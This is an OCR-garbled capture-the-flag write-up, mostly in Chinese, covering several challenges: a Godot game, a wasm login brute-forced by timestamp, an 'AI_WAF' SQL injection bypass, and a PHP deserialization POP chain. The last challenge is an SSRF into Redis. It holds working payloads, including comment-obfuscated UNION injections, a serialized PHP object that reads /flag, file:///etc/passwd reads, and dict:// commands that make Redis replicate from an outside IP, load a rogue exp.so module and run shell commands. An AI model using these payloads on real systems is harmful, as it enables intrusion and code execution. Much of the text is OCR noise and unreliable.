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Babygame:

BRMERE:

E—TAIE GoDot 519, GORE #JFF, &—MEMHHE Key



Version: 451 Info: Total files: 78 Checkall  Unch

File Name & fFan

< mres
¥ ™ godot
vm

coingd remap

“ M coin gac
fan.gdremap
fangde

< W

me_manager.gd.remap
¥ M game_manager.gdc

Kilizone.gd.remap

“ B menu gdremap
W menugde

# B player.gdremap
player gdc

sime gd.remap
me gdc

B default bu

W project binary

Format: GDScriptBytecode
Extract to c1u: Desktop/babygame
Add PCK(s) ~ Export Extract Only ® Full Recovery Hide Resour

Verslion: 451 Info: Total files: 78 Checkall  Unch
File Name & flagTextEdit: Node = $PanelContainer / VBoxContainer / FlagTextEdit
e label2: Hode = $PanelContainer / VBoxContainer / Label2
™ godot

anAglFanAgLo0!

“ B colngd remap
“ W colngac siicen)
fan.gd.remap
fangdc ubmiE() > voi
data = FlagTextEdit. te
“ B flag garema 3
“ B flag gdc a5 = AESContext..nen()
T es . start (AESContext , HODE_ECB_ENCRYPT, key. to_utf8_buffer(
ar encrypted = aes.update(data. to_utf8_bufer())
# M game_manager.gdc s i
Killzone.gd remap
“ B kilzone gdc
“ B menu gdremap

B menugdc

“ W player.gd.remap 1
player.gd.remap back() = void
_tree(). change_scene_to_file("res:// scenes/menu. tscn")

me.gd
B default_bus layout.t
 Bicon,

B icon.svgimport

# W project binary

Extract to CiUsers/hh/Desktop/babygame
Add PCK(s) ~ Export Settings. Extract Only ® Full Recovery Hide Resource Preview




<~ da58af702a680aeade8oce32fc39945d
AES Decrypt ~Qn

Key Mode
FanBglFanBg.. UTF8 v HEX ECB/NoPadd...

Input Output
Hex Raw

mc 32 = 1

Output

WOlW~youAregreaT!

flag (B:

wasm-login
RMERE:

wasm 1%[a), FEFHESZE build(wasm F=42), — js F1— index.html
ItEah, FYIRRRT wasm IREEXIRAY.wasm.map {4, B Source Map

AILATE index.html BTEE R T python -m http.server F—/ RS, BHLE CORS A%
¥FiAE wasm



P00 R i FE2»2»8 06 + < (@) 5%

v cbody class="bg-gradient-to-br from-neutral-180 to-neutral-208 min-h-screen font-inter £
lex items-center justify-center p-4"> flex
P <div class="w-full max-w-nd"> e </div>
<script src="crypto-js.js"></script>
<script src="build/release.js"></script>

a b <script types"module”> w </scripts
</body>
</html>
Tzégi eect-- FRIKT admin JIA#F admin--> @
{EREIKFERER
BRE
a
] » BR
]
<>
“ = o o bl B adid
= e thov .cls %) q

ZLIAIEH WebAssembly 124t

WASM

© 2025 LETRESE | FFAECR

F12 afLABEFREES 7 WHAKS admin UiHZFS admin

HrEEEE T index IRYIRERS, ATLABREIEER Y wasm #RY authenticate EXZ{, parse IR
B B JSON , #X 5 # ¥ & JSONstringify /5 it & MD5, FF A
check.startsWith("ccaf33e3512e31f3") ¥I¥TEE 21EMRY check (&

ype="module" >
function initWasm(
statusMessage. cl ist.add('hidden');

y {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;

const authResult = authenticate(username, password);
const authData = JSON.parse(authResult);

console.log(' RiX RS S EIB: ', authData);

simulateServerRequest(authData)
then(response => {
if (response.success) {

alert('ERIN! ')
else ({

}

showError(response .message | EREM, BER')
I
b
.catch(error => {
console.error(' B RHiR: ', error);
showError(' M2, ERESiX)

simulateServerRequest()RELRIG



function simulateServerRequest(data) {
eturn new Promise(resolve => {

setTimeout(() => {

const check = CryptoJS.MDS(JSON.stringify(data)).toString(CryptoJdS.enc.Hex)

if (check.startsWith("ccaf33e3512e31f3")){
resolve({ success: true });

}

}
}, 1000);
il
X

BHit wasm RFEIE.map Fi\n BT EA A= RRIRET

resolve({ success: false })

4 |Cexport function add(a: i32, b: 132): 132 {
return a + b;

SHZiaE /- *

*/

const encodedPa
//console.log (e
/72 ZREUCATTIN
const timestamp = Date.now() .toString() ;
5 //console.log (ti
5742 /1 3. ARG IS0

const message =

s ]
const ;1qnature 91ane‘:$aq9(me<‘;aqe timestamp) ;

//console.log (signature) ;

// 5. IR ISONTH B

const finalMessage = " {\"username\":\"${username}\",\"password\":\"${encodedPassword}\", \"signature\":\"${signature}\"}";

i 4 = b
TR RENEEEESDOQ®
S © 1o 0 s W S o L © 5

return finalMessage;
//return-\"ok\";

rt

ZEF Date.now() {EAEHE secret, FEHAFATEBM HMAC-SHA256 4k

signature

BAIRE T BFREMN%ES, ZEi” HMAC REEA release.js ©ARIREL, 1BIRATEIEL
HHIFFBAY md5 {BEFEET L

AERTE 2025 F 12 BE=EANEXREB—E, oILUEHEZE/NE
2025-12-21 21:00:00 Z 2025-12-22 06:00:00 [&

X Rz AR EIRY R 21 766322000000, 1766354400000]

YRS solve.js FIA, (FRANTas<i=TRIRI{5E! flag



node solve.js

import { authenticate } from "./build/release.js";

import crypto from ‘crypto’;

const TARGET _PREFIX = "ccaf33e3512e31f3";
const USERNAME = "admin";

const PASSWORD = "admin";

function solve() {
const startTs = 1766322000000;
const endTs = 1766354400000;
let count = 0;
let currentTimestamp = O;
Date.now = () => currentTimestamp;
for (let ts = endTs; ts >= startTs; ts--) {
currentTimestamp = ts;
const authResult = authenticate(USERNAME, PASSWORD);
const check = crypto.createHash('md5").update(authResult).digest('hex’);
if (check.startsWith(TARGET_PREFIX)) {
console.log("Timestamp:", ts);
console.log("Check:", check);
return;
}
count++;

if (count % 100000 === 0) console.log('Checking ${count}. Current: ${ts}.");

solve();




Checking 19300000. Current: 1766335100001
Checking 19400000. Current: 1766335000001
Checking 19500000. Current: 1766334900001
Checking 19600000. Current: 1766334800001

Checking 19700000. Current: 1766334700001
Checking 19800000. Current: 1766334600001
Timestamp: 1766334550699

Check: ccaf33e3512e31f36228f0b97cchc8f1

flag (B:

flag{ccaf33e3512e31136228f0b97ccbc8f1}

WEB

Al_WAF

BRMERE

F8 payload 1' || 1=1- -Z2E|THBNE, HEFE SQL FARRE

Burp TE Intruder Repeater(Efsg) =& #HE) Burp SuiteBVE v2025.12 - IIFITRE - licensed to Datch - 8 X
(e 328 Biz 2 Intruder P! 28) C RETE TR BE Organizer(434358) R %3 WAF Cookie Fetcher @ > O &
Deserialization Scanner

1 |2 = &d JoR

E3® <= BiF: http://39.107.121.54:36872 /9 HTTP/1 (3)

== Inspector wDd = B
AR WRL -
£t Raw Hex GraphQL = ¥t Raw  Hex =  iEKEE ) v g
r http://39. 107, 3687 ] 7 Connection: close 4
2 om0 107 1 by e T 5 Gontent-Length: 11731 xawsn o v 8
3 Content-Length: 25 4 Content-Type: appl ication/ json 8
4 Accept-Language: zh-CN, zh;q=0.9 5 Date: Sun, 28 Dec 2025 10:36:05 GNT #ikcookies 0o v
5 User-Agent: Mozilla/5.0 (Nindows NT 10.0; Winb4; x64) AppleWebKit/537.36 O Server: Werkzeug/3.1.4 Python/3.10.12
(KHTML, ke Gecko) Chrome/143.0.0.0 Safari/537.36 4y P o v B
& Content-Type: application/json sl B
7 Accept: */* count”:13, = 3§
8 Origin: http://39.107.121.54:36872 Wk 5 v W
9 Referer: http://39.107. 121. 54:36872/
10 Accept-Encoding: gzip, deflate, br . "
11 Connestion:. keepal sentent': Q
12 "NexaData \u662f\ude00\uSbb6\UIBBA\US14B\uT684\u65T0\u636e\ v
1)1 6672\uB0Fd\u516c\uS3FB\uFFOC\uB1 F4\u529b\udeBe\u901a\uBFo7 %
wquery® s || 11— = \u5148\uBFdb\u7684\u6570\ub36e\u5206\u6790\u3001 \udeba\uSde g
5\u667a\uB0fd\udeOe\ue91 \uBba1 \u7b97\u6280\u672f \uf fOc\uBd
4b\uBOFd\udFOT\udela\uSb9e\u73b0\ub570\u63be\ua71\us2a8\u7
684\u5163\u7b56\ude0e\USBIe\UIS7F\u3002\ub21 1\udeec\ude3a\u
911\u878d\u3001\u96F6\u5526\u3001\u5236\u9020\u3001 \u533b\ 4
7597\u7b49\u591a\ude2a\uBBAc\ude1a\u63d0\u4fIb\u7aef\u5230
\u7aef\u7684\u6570\ub36e \u89e3\u51b3\u65b9\usB48\uf FOc\uSe2 m
©\U52a9\usba2\u6237\u9 1 ca\ubs3e\ub570\u63be\ubF50\uBOFd\UFF it
00\u63d0\u5347\uBFd0\UBA25\u654B\u7387\ude0e\uS02\uST3a\u7 K
ade\u4e89\u529b\u3002", | i
"id":1 &

"title":"\u516c\u53f8\u7b80\udech"

“content":

"\u5728\u6570\u636€\u7206\u70b8\u7684\u56\udeed\uf fOc\udf
e1\u606F\u7684\udef7\u503c\ude0d\u5728\udeBe \us176\u6570\u9
1cf\uff0c\uB00C\u5728\udeBe\u5982\udf55\uBBab\u7406\u89e3\u
4e0e\uBfd0\u7528\u3002NexaData \u5e94\uBfd0\uB0OC\u751\u20
14\u2014\u6211\udeec\u76f8\udfel \uf fOc\ubbef\ude00\ubbd4\u7
279\u7684\u6570\u636e\uB0cc\us40e\u90fd\uB574\uBSCF\u7740\u
6d1e\usbdf\u672a\u6765\u7684\u94a5\u5319\u3002\u6211\udeec\

@@« > o omr O € > L omx &

= 11,9005 | 105 millis
WAL FEEEG)” © #977: 295.9MB of 15.88GB W



E T ARDABEREMENBBRMXER, RIEEBRESUERLUERT Al &t
SQL ¥, W18 confidence>0.50 FieiREE,

£ query FION /*%20*%20*%20*%20* 5 B E AN T EIEIE T RIE 7 T BRIE
confidence 18, W& confidence &=t 0/ LR

LZRE TR, & payload W1

1'/*%20*%%20%%20%%20*//*%20*%20*%20*%20* /union/*%$20*%20*%20*
%$20*/select/*%20*%20*%20*%20*/1,database(),3-- -

Burp HE Intruder Repeater(@g3) =& #88 Burp SuiteBl4F v2025.12 - IFESTRE - licensed to Datch 8 x
R BiF B Intruder  Repeater(®j3%)  Collaborator  Sequencer  HBTE  NHIA  HE  Organizer(@R%) #E %3 WAFCookieFetcher @ >- O &
Deserialization Scanner

1 2 x + PO v
& < v +¢ Burp Al BiF: http://39.107.121.54:36872 /© HTTP/1 (3)
. = ™ | Inspector = - X g
R ]
2t Raw Hex GraphQl I N = Et  Raw  Hex N n = EREl 2 v g
1 POST http://39.107.121. 54:36872/search HTTP/1.1 1 HTTP/1.1 200 OK N N » o
2 Host: 39.107.121.54:36872 2 Gonnection: close WREFSH 0 v %
3 Content-Length: 119 3 Content-Length: 205 -
4 Accept-Language: zh-CN, zh;q=0.9 4 Content-Type: application/json &Kcookies 0 v
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 5 Date: Sun, 28 Dec 2025 10:40:09 GMT

(KHTML, |ike Gecko) Chrome/143.0.0.0 Safari/537.36 6 Server: Werkzeug/3.1.4 Python/3.10.12 Bk 10 v @
6 Content-Type: application/ json 7 0

Acoept: */* 8 { N B
& Origin: http://39.107. 121.54:36872 “count”:1, MRSk 5 v [ht
9 Referer: http://39.107.121.54:36872/ "keyword":

10 Accept-Encoding: gzip, deflate, br L / /union/*% % /sele
11 Gonnegt.ion... keep-al.ive, ot/ F520K%20¥520%%20%/1, database ), 3— —",| Q
12 “results": [ -
13 { 53
"query": "content”: "3" =
"1/ ion/ sel "id 1,
ect/H20M20A20420%/1, database (), 3 - "title": "nexadata”
}
], 4
"status": "success” m
, g
aqi
&
[@FCHE p Selection: 107 (0x6b) | () {6} ¢ > el &

ek 372335 | 154 millis
BHES  FEEEe)” @ p9#7 292.6MB of 15.88GB IR




Burp HE

s

1'/*%20*%%20%%20%%20*//*%20*%20*%20*%20* /union/*%$20*%20*%20*

$20*/select/*%$20*%%20%%$20*%20*/1,group concat (table name), 3/

*%20*%%$20%%20*%20*/from/**/information schema.tables/**/wher

e/**/table schema/**/like/**/database()-- -

Bix &

Deserialization Scanner

[ 2 +

Exe

AR

Intruder

2t Raw Hex GraphQL

R TICRN

(KHTML,

© oo

1

ect/*420
/from/**/informat ion_schema. tables/**/where/**/tab|e_schema/**/ | ike/

Content-Type
Accept: */*
Origin: http://39.107. 121.54:36872

Referer: http://39.107.121.54:36872/

) Accept-Encodi , deflate, br

Intruder Repeater(FE}{38) &EF #3E)

Burp SuiteZ kR v2025.12 - If§ESIRE - licensed to Datch

+¢ Burp Al

POST http://39. 107. 121, 54:36872/search HTTP/1.1
Host: 39.107.121.54:36872
Content-Length: 232

Accept-Language: zh=CN, zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; x64) AppleWebKit/537.36

like Gecko) Chrome/143.0.0.0 Safari/537.36

gz

application/ json

2)

n

**/database () —— -

@ € >

k23
RS

FraiEE 5)°

ion/*

%20%%204%20%/1, group_concat (table_name) , 3/%

o omm D ¢ >

5 /sel
%20%5%20%%20%%20

*

WOTE WHIE B Organizer(34328) IR %3

BiF: http://39.107.121.54:36872 /° HTTP/1

== Inspector

Lol
2t Raw  Hex =  iEKEE
T HTTP/1.1 200 0K .
2 Connection: close HREISH
3 Content-Length: 339
4 Content-Type: appl ication/ json Hiskeookies
5 Date: Sun, 28 Dec 2025 10:41:36 GT
¢ Server: Werkzeug/3.1.4 Python/3. 10.12 P
8 { S
"count”:1, mﬁm*
"key: H
"1 /*520K%20K20¥K%20%// ; %20%/sele

un
ct/*%420K%20%%520%%20%/1, group_concat (table_name) , 3/4%20%42044204420%/f
rom/*¥/information_schema. tables/¥*/where/**/table_schema/**/| ike/**/
database ()= -",
“results”: [

(

“content":
"id":

:"article,where_is_my_flagegeee"

"status”: "success”

.
o
o
Dt

© Piz: 292.6MB of 15.88GB

WAF Cookie Fetcher @) >

o X
pol
D
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D=z - X g
2 v B
B
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5063735 | 170 mills
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1'/*%20*%%20%%20%%20*//*%20*%20*%20*%20* /union/*%$20*%20*%20*

$20*/select/*%$20*%%20%%$20*%20*/1,group concat (column name), 3

/*%$20*%20*%%20%%$20*/from/**/information schema.columns/**/wh

ere/**/table name/**/like/**/'where is my flagggggg'-- -

Burp HE Intruder Repeater(ifss) =& #HE) Burp SuiteBVE v2025.12 - IIFITRE - licensed to Datch - 8 X
(e 328 Biz {2 Intruder P! 28) C RETE TR BE Organizer(4B4358) IR %3 WAF Cookie Fetcher @ > O &
Deserialization Scanner
1 2x + O~
E3® < v +¢ Burp Al BiF: hitp://39.107.121.54:36872 /© HTTP/1 ()

=m - >
a Inspector ] - X g

AR Lol -
¥ Raw Hex GraphQl = | %t Raw Hex = | R 233 (0xe9) A g
1 POST http://39. 107. 121. 54:36872/search HTTP/1.1 T HTTP/1.1 200 0K . 4
2 Host: 39.107.121.54:36872 2 Connection: close 5"
3 Content-Length: 245 3 Content-Length: 335 =
4 Accept-Language: zh-CN, zh;q=0.9 4 Content-Type: application/json
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 5 Date: Sun, 28 Dec 2025 10:42:22 GMT

(KHTML, |ike Gecko) Chrome/143.0.0.0 Safari/537.36 6 Server: Werkzeug/3.1.4 Python/3.10.12 a

6 Content-Type: application/json 7 ion_schema.columns/**/

7 Accept: */* 8 1 *%/table_name/**/like/**/'whe B
8 Origin: http://39.107.121.54:36872 count”: 1, my_f; " - H
9 Referer: http://39.107. 121. 54:36872/ “keyword”:

10 Accept-Encodi gzip, deflate, br "1 /H%20%%20%%20%%20% / / . un % /sele

1 ©t/*%20%%20%%20%%20%/1, group_concat (column_name) , 3/%%20%%20%%20%%20%/ #883: URLER v @ O

12 from/**/information_schema. columns/**/where/**/tab|e_name/**/| ike/**/ -

13 { ‘where_is_my_flagggeeg'— ~", (LG e S e e e i o n/ §

query’ “results”: [ ¥ #/select/* * * * */1 group_conc =
N X / X X I t(column_name),3/* * * * */from/**/
ect/*%20%%20%%20%%20%/1, group_concat (column_name) , 3/%%20%%20%%20%%20 “"content": informatios ma amns/** /where
*/from/**/information_schema. columns/**/where/*¥/table_name/**/ | ike/ "id":1 **/table_name/ like/**/'where_is %
##/"where_is_my_f|agggggs’~~ ~" _my_flaggagys -
) ) o
"status": "success” )ﬁ([!
} S
9 AREE D v |
EREFSH 0 v
53kcookies 0 v
sk 0 v
IAREk 5 v

O« > £ 0BE  Selection: 233 (0xe9)
Sehk
WAL FEEEG)”

@ €« >

Dt

@
5025735 | 172 mills

© Piz: 294.0MB of 15.88GB
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1'/*%20*%%20%%20%%20*//*%20*%20*%20*%20* /union/*%$20*%20*%20*

5207/ select /*%520%%20%4%20%%20% /1, Thls 1s £149, 3/*%20*%%20%%20

*%20*/from/**/where is my flagggggg—-- -

Burp IHE Intruder Repeater(Ef{es) =& #E) Burp Suite&lAE v2025.12 - IIFEIRE - licensed to Datch

=] X
R BiF B Intruder  Repeater(®j3%)  Collaborator  Sequencer  HBTE  NHIA  HE  Organizer(@R%) #E %3 WAFCookieFetcher @ >- O &

Deserialization Scanner

[ PR +

& < v +¢ Burp Al BiF: http://39.107.121.54:36872 /© HTTP/1

Inspector

AR Lol
%t Raw Hex GraphQlL I N = =t Raw Hex FW@EEH I \n =  iEKEH
1 POST http://39. 107. 121. 54:36872/search HTTP/1.1 1 HTTP/1.1 200 0K e
2 Host: 39.107. 121. 54:36872 2 Connect ion: close WRERSH
3 Content-Length: 169 3 Content-Length: 289
4 Acoept-Language: zh-CN, zh;q=0.9 4 Content-Type: appl ication/ json ikcookies
5 User-Agent: Mozilla/5.0 (findows NT 10.0; Win64; x64) AppleWebKit/537.36 | 5 Date: Sun, 28 Dec 2025 10:42:58 GHT

(KHTML, like Gecko) Chrome/143.0.0.0 Safari/537. 36 6 Server: Werkzeug/3. 1.4 Python/3. 10. 12 L
6 Content-Type: application/json 7
7 Aosept: */% 8 N
8 Origin: http://39.107. 121.54:36872 “count” 1, MRSk
9 Referer: http://39.107. 121.54:36872/ “keyword":
10 Acoept-Encoding: gzip, deflate, br "1/ /un'ion/#% : /sele
11 Gonnestion:. kesnralive o /1, Thi5_ls_f149, 3/%% From/#*/where
12 _is_my_flaggggee— -",
13 ( “results”:

“query”: {

1 %20%%20%/, /union, %. /sel
ect/AN20M420KK204420% /1, Th15_I's_f149, 3/¥4204420KK204420%/ From/**/whe
re_is_my_flaggggee~ —"

]

“status”: "success”

O <« > o mm OB € > o omm
=
A R )

@ PofE: 294.0MB of 15.88GB
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4563735 | 191 millis
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hellogate
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<?php
error reporting(0);
class A {
public Shandle;
public function triggerMethod () {

echo "" . S$this->handle;

}

class B {
public Sworker;
public S$cmd;
public function  toString() {

return $this->worker->result;

}
class C {
public S$cmd;
public function  get($name) {

echo file get contents(Sthis->cmd);

}

$raw = isset($ POST['data']) ? $ POST['data'] : '';
header ('Content-Type: image/Jjpeg'):;

readfile ("muzujijiji.jpg");
highlight file( FILE );

$obj = unserialize($ POST['data']):
Sobj->triggerMethod () ;

FI— php IRFIUL, SEFEE, FIREET—T cnext #J file_get_contents BY
RCE, R PHP8 {HEASFHXANNIIE, flag Hift/flag HRBRT.
PE&F: A:triggerMethod->B::__ toString->C::__ get

exp.php



<?php
class A
{
public S$handle;
public function triggerMethod ()
{
echo "" . S$this->handle;
}

class B
{
public Sworker;
public S$cmd;
public function _ toString()
{
return $this->worker->result;

}

class C
{
public S$cmd;
public function _ get (Sname)
{
echo file get contents (Sthis->cmd) ;
}
}
// Sraw = isset($ POST['data']) ? $ POST['data'] : '
// header ('Content-Type: image/Jjpeg');
// readfile ("muzujijiji.jpg");
// highlight file( FILE );
// $obj = unserialize($ POST['data']);
// $obj->triggerMethod() ;
SA = new A;
SB = new B;
$C = new C;
SA->handle = $B;
SB->worker = $C;
$C->cmd = '/flag';
Spayload = serialize (S$SA);
echo $payload;
// echo urlencode ($payload);



POST {&&

data=0:1:"A":1:{s:6:"handle";0:1:"B":2:{s:6:"worker";0:1:"C

"cmd";N; }}

":1:{s:3:"cmd";s:5:"/flag";}s:3

Burp TE Intruder Repeater(Eisg) =E #HE) Burp SuiteBVE v2025.12 - IIFITRE - licensed to Datch

(e 328 Biz {2 Intruder P! 28) C WIGTR XMTR BE Organizer(34328) IR

Deserialization Scanner

1 P BEERd +

[- IS

3¥3 WAF Cookie Fetcher @ > O &

o~

E3® < v BiF: https://eci-2ze7kb7yIndz4i8zbcj.cloudecil.ichungiu.com:80 /9 HTTP/2

O==
ER Lol

=t Raw  Hex 3t Raw  Hex THmEmE$
1 POST / HTTP/2 #007700"> (¢/span><span style="color: #0000BB">$name</span><span

Host: eci—2ze7kb7yIndz4jiBzbcj. cloudecil. ichungiu. com:80 : #007700">) &nbsp; {<br
‘. Gty

Sec—Ch-Ua: "Chromium";v="143", "Not A(Brand"; b b: b: b b: ho&nbsp ; </span><span
Sec—Ch-Ua-Mobi le: 20 style="color: #0000BB">file_get_contents</span><span style="color:

Seo-Ch-Ua-Platform: “indows” #007700"> (</span><span style="color: #0000BB">$this</span><span
Accept-Language: zh-CN, zh;q=0.9 style="color: #007700">-&gt;</span><span style="color:
Upgrade-lnissoure-Requésts: 1 #0000BB">emd</span><span style="color: #007700">) ;<br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 />Bnbsp;8nbsp; &nbsp; &nbsp; } br />}<br />¢/span><span style="color:
(KHTML, Iike Gecko) Chrome/143.0.0.0 Safari/537.36 #0000BB">$rawbnbsp; </span><span style="color:
Nooepts #007700">=&nbsp; i sset (</span><span style="color:
text/html, app| ication/xhtml+xml, appl ication/xml ;q=0.9, image/avi, image/we #0000BB">$_POST</span><span style="color: #007700">[</span><span
bp, image/apng, */*;q=0. 8, app| i cation/si gned-exchange; v=b3; q=0. style="color: #DD0000">'data’</span><span style="color:
10 Seu-Fetoh-Site: nons #007700">]) &nbsp; %nbsp; </span><span style="colo
11| Sec-Fatoh-Hlode® niavigats | color: #007700>[</span><span
12 Seo-Fetoh-User: color: #DD0000">" data’</span><span sty!
13| Seo-Fetoli-Dests: dosiment #007700">]&nbsp; : &nbsp; </span><span style="color:
14| Accept-Encoding: gzip, deflate, br style="color: #007700">;<br /></span><span sty| :
15 Priority: u=0, i #0000BB" >header</span><span style="color: #007700">(</span><span
16 sor appilication] Tonisodad #DD0000">* Content-~Type:&nbsp; image/ jpeg’ </span><span
17 Content-Length: 101 #007700"3) ;<br /></span><span style="color:
#0000BB">readf i le</span><span style="color: #007700">(</span><span
style="color: #DD0000">"muzujijiji. jpg"</span><span style="color:
#007700") ;<br /></span><span style="color:
#0000BB">highl ight_file</span><span style="color: #007700">(</span><span
style="color: #0000BB">_FILE_</span><span style="color: #007700">) ;<br
/></span><span style="color: #0000BB">$ob j&nbsp; </span><span
style="color: #007700">=8nbsp;</span><span style="color
#0000BB">unser ial ize</span><span style="color: #007700">(</span><span
style="color: #0000BB">$_POST</span><span style="color:
#007700">[</span><span style="color: #DD0000">"data’</span><span
style="color: #007700">]);<br /></span>{span style="color:
#0000BB">$ob j</span><span style="color: #007700">-8t;</span><span
style="color: #0000BB">triggerMethod</span><span style="color:
#007700"> () ;</span>
474 </span>
475 </code>|ag boed7521-066e-4357-acc3-ebf44062008a]

@« > o omm D ¢ > ol om
=
WAL FEEEG)”
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olor:
#DD0000">" ' </span><span

data=

Selection: 42 (0x2a)

flag (&

flag{bce37521-066e-4357-acc3-ebf440b2008a}

hjppx

Inspector
prizz3
XA

flag(bce37521-066e-4357
52008a)

EREE

EREFSH

EREGSH

#kcookies

Rk

VAR

© Pi7: 296.7MB of 15.88GB
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322,837 | 145 millis
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RMERE

ssrf iz,
file:///etc/passwd &I redis BRSS.



Burp IRE Intruder Repeater(izE) HH Burp Suite%dliR v2025.12 - I§EITEE - licensed to Datch - o X
(e 328 Biz {2 Intruder P! 28) C RETE TR BE Organizer(4B4358) IR %3 WAF Cookie Fetcher @ > O &
Deserialization Scanner
ey + o
E3le ws <~ Burp Al BiF: http: cloudedi com:80 /9 HTTP2 (B)

== Inspector D - X 2
AR WRL 7
7:1p:/var/spool/lpd: /usr/sb =
Et  Raw  Hex ¥t Raw  Hex 3 I n n 2
1 POST / HTTP/2 & Cache-Control : no-store, no-cache, must-revalidate, post-checl :mail:/var/mail:/use/sbi E
2 Host: eci-2ze4|h8lpruhzqj5fbug. cloudecii. ichunqiu. com:80 pre-check= i , " o
3 Cookie: PHPSESS|D=adddd2c3nf967kmacqb3d1p9d5 7 Pragma: no-cache news:/var/spool/nevs:/ S
4 Content-Length: 35 8 )
5 Sec-Ch-Ua—Platform: "Windows” ot /
6 Accept-Language: 9 "success” :true, /usr/sbin/nologin An B
7 Sec-Ch-Ua: "Chror . "Not A(Brand"; "content”: proxy:x:13:13:proxy:/bin:/usr/sbin
8 Content-Type: application/x-wiw~form-ur |encoded "cm9vdDp40. 2900 ol JE6ZGF W90 /mologin in B
9 Sec-Ch-Ua-Nobile: 20 91631 vo2Jpb jovdXNyL3Ni aWdvbmsb2dpbgpi all46eDoy0 1 6Ym|u0i9iald6L3Vzci9zY wi-data wi-datas /var /i i
10 User-Agent: Mozilla/5.0 (Nindows NT 10.0; Winéd; x64) AppleWebKit/537.36 ol pl :/usr/sbin/nologin 1\
(KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 €Do00;YINTHOONNSbmM6L2Jpb jovYim! ul 3NSbmMKZ2F tZXMéeDo 10, YwOmdhbV20i91c3 1 backup:x:34:34:backup:/var/backups
11 Accept: */* VZ2FZXN6L3Vz 92| ul 25vbGInaWAKbNFUOnEEN joxM jptYAGL3Zhe 9 ) YHNoZSI YN :/usr/sbin/nologin Q
12 Origin: https://eci-2zeatth28vawuaf3g610. cloudecil. ichungiu. com:80 46L3Vzei 4 jc6bHAGL3Zho 3Vzci9zY 38=3'S=Malhnq List Manager: -
13| Sec-Fetch-Site: same-origin mluL pbDpA0 jg60Dpt /var/list:/usr/sbin/mologin \n s
14 Sec-Fetch-Node: cors 1d3M6L3Zh 191631v62Jpb i 9ub2xvZ21uCnV red:/var/run/ired:/us =
15 Sec—Fetch-Dest: empty u I jeDovdXNyL3Ni r/sbin/nologin n
16 Referer: https://eci-2zeatth28vawuaf3g610. cloudecil. ichungiu. com:80/ 94eTp40jE20, i 192YmluL: I3d3L 41:41:Gnats Bug-Reporting
17 Accept-Encoding: gzip, deflate, br 0¥ TovdnFyL i System (acmin) :/var/lib/gnats:/usr
18| Priority: u=1, i NDp i YHNrdXAGL3Zhei 9 9 /sbin/nologin \n
NYWI sali5n | Expc30gTHFuYWd | ¢ jovamFyl 2xpe306L3Vzc92Yml ul 25vb69na4KaXd0n nobody: x: 6 5534 :nobody :

20 action=fetchur |=file:///etc/passwd
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WAL FEEEG)”

g6MzkéMzkéaXJ jZDovdmFyL3J1bi9pemNk0i 9163 1ve2Jpbi9ub2xvZ2 | uCmduYXRzOng6N

VJ1 TovdmFyL2xpY i 9nbmFO
czovdXNyL: JvZHK6L25vbmV
4aXNOZW500i91c31ve2Jpbi9ub2xvz2 i i 1eGlzd

i XI Cws0
19ub251eG2zdGVudDovYm|uL2ZhbHN1CnJ1ZG| z0ng6MTAYO jEwMzo6L3Zhc i 9sal | vemVk
aXM6L3Vzci J1czpd0. i o6l zd

udDovdXNyL3N Ji

1 1L2NOZ jov¥mlul3

O 0EE Selection: 1496 (0x5d8)

dict://127.0.0.1:6379/info 3REXT redis FI—LEREE,
EEFT redis BIEMNEFIFREN shell, LERIRSS S LE— MRS THILEUS

istent:/usr/sbin/nologin \n
_apt:x:100:65534::/nonexistent:/us
r/sbin/nologin \n

mysql:x:101:101:MySOL
onexistent:/bin/false '\
/var/lib/redis:/u

Server,,,:/n

nonexistent

:/usr/sbin/nologin \n
ctf:x:1000:1000::/home/ctf:/bin/sh

BEEEY A

TR 2

EOXZE R

Yo@

1,8695735 | 44 milis

© Piz: 293.9MB of 15.88GB
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git clone
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server.gi
t

wget
https://github.com/n0b0dyCN/redis-rogue-server/raw/refs/hea

ds/master/exp.so

1€ exp. so EfI IR E

FEMRS =R

python3 redis rogue server.py -v -path exp.so -lport 1028

FraE
ENEA dict ZHUTILR, BRIRFEEL.



dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/slaveof:8.155.17.250:1028
dict://127.0.0.1:6379/config:set:dbfilename:exp.so
dict://127.0.0.1:6379/config:set:dir:/tmp/
dict://127.0.0.1:6379/module:load:/tmp/exp.so
dict://127.0.0.1:6379/slaveof:no:one
dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb
dict://127.0.0.1:6379/system.exec:"1ls /"
dict://127.0.0.1:6379/system.exec:"cat /flllaaaggggg"

& 0O < B ¢#

Ivar/CTF/Awsome-Redis-Rogue-Server

run oaEl HNULNULNULHULHULKULNULNULNULETXNUL > OLSORNULNULNUL @)
ULNULALLKULNULKULGRULNULHULKUL LKL

sbin e - .

@ HULNULNULNULNULNULNLNULNULNUL@NUL BNULENGNUL(@HUL CANNUILETSNUL SOHNLLNUL NULENONUL UL ULKUL NUL NULNULNUL NUL N

sbin.usr-is-merged NULKULKULNULNOLNUL 75 HNULNULNULKULKULNUL £ HNOLNULKULULNULNOLNULNOL

MLKULMULKULNULSTXNULKULKULACKNULNUL KL @ NN oLk ki @ wuuuukucu @N

NULNULNULNULNUL ™ SOMNULNULNULNULKULNUL  SOHNULNULNULNULNULNUL 8 NuLNuLNULKULvULNLnuL Q@ E dacwtvuLwuLuLku.

]
|
L
o sna ‘NuLNuLKULNULNUL sonNuLKULNULACKNULNUL UL @ NNuLvuL oL kL oL N ook nu N
|
o

UL NULKULNULNULNDLHUL LKL UL UL UL UL UL UL NULNUL LKL UL NUL KL UL KULNULKULNUL KL NULDLENULNUL UL
wuuwuLwuwu Rt deorucnuenu @ Nuuwu oo @N - wuouenucvuvu @N
NULNULNUL WLVNULNULNULUNULRULNULHNULNULNULNG
a NE
backups ST Al e A e S e =2
NULNGLNUL RS NULNULNUL P NULNULNULNUL UL NULNULSOFKULNULNLNULNULNUL UL DCSNULNULNL UL NULNULNULKULNUL KU ENONL
cache
NULNL LS NULNULULNULNULNULKUL AN LML ENLLNULKULULMULNUL LKL B

crash

+
